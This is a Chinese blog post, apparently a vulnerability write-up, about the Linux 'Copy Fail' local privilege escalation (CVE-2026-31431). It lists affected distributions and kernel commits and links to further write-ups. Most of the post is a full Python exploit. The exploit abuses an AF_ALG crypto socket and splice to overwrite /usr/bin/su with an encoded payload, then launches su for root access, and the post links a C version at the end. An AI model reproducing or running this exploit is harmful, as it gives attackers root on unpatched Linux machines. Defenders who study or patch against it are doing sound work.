CVE 2026 31431 Linux Copy Fail本地权限提升漏洞

Linux Copy Fail本地权限提升漏洞

1.影响版本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Ubuntu 24.04 LTS 及以下
Amazon Linux 2023 及以下
Red Hat Enterprise Linux 10 及以下
Red Hat Enterprise Linux 9 及以下
Red Hat Enterprise Linux 8 及以下
SUSE 16 及以下
Debian / Arch / Fedora / Rocky / Alma / Oracle 等
同期内核版本均受影响
受影响的内核提交范围:
commit 72548b093ee3 ≤ version < commit a66
4bf3d603d

几乎通杀

2.漏洞复现

1
2
3
https://mp.weixin.qq.com/s/dZk2Zzw8_b5XYMBQop9fDw
https://mp.weixin.qq.com/s/SZKmm52Ja7AbGHYwSmGnYw
https://xint.io/blog/copy-fail-linux-distributions
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
import os
import zlib
import socket


# 十六进制转字节工具函数
def d(x):
    return bytes.fromhex(x)


# 核心漏洞利用函数
def c(su_fd, t, c):
    # 创建套接字:38=AF_ALG, 5=SOCK_SEQPACKET, 0=IPPROTO_IP
    a = socket.socket(38, 5, 0)
    # 绑定算法:AEAD 认证加密(HMAC-SHA256 + AES-CBC)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    # SOL_ALG = 279,套接字选项常量
    SOL_ALG = 279
    setsockopt = a.setsockopt

    # 设置套接字选项:触发内核漏洞
    setsockopt(SOL_ALG, 1, d('0800010000000010' + '0' * 64))
    setsockopt(SOL_ALG, 5, None, 4)

    # 接受连接并发送构造的消息
    u, _ = a.accept()
    send_len = t + 4
    zero_byte = d('00')
    # 构造sendmsg参数,发送恶意数据
    u.sendmsg(
        [b"A" * 4 + c],
        [(SOL_ALG, 3, zero_byte * 4),
         (SOL_ALG, 2, b'\x10' + zero_byte * 19),
         (SOL_ALG, 4, b'\x08' + zero_byte * 3)],
        32768
    )

    # 管道+splice 零拷贝传输数据
    r_fd, w_fd = os.pipe()
    os.splice(su_fd, w_fd, send_len, offset_src=0)
    os.splice(r_fd, u.fileno(), send_len)

    # 接收数据(异常捕获忽略错误)
    try:
        u.recv(8 + t)
    except:
        pass


# 主逻辑:提权执行 su 命令
if __name__ == "__main__":
    # 打开 /usr/bin/su 文件(只读)
    su_fd = os.open("/usr/bin/su", 0)
    index = 0
    # 解压十六进制编码的恶意载荷
    payload = zlib.decompress(
        d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

    # 循环执行漏洞利用
    while index < len(payload):
        c(su_fd, index, payload[index:index + 4])
        index += 4

    # 执行 su 提权
    os.system("su")

image.png

https://github.com/0xShe/CVE-2026-31431 C版本利用POC

By Lsec
最后更新于 May 04, 2026 21:23 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ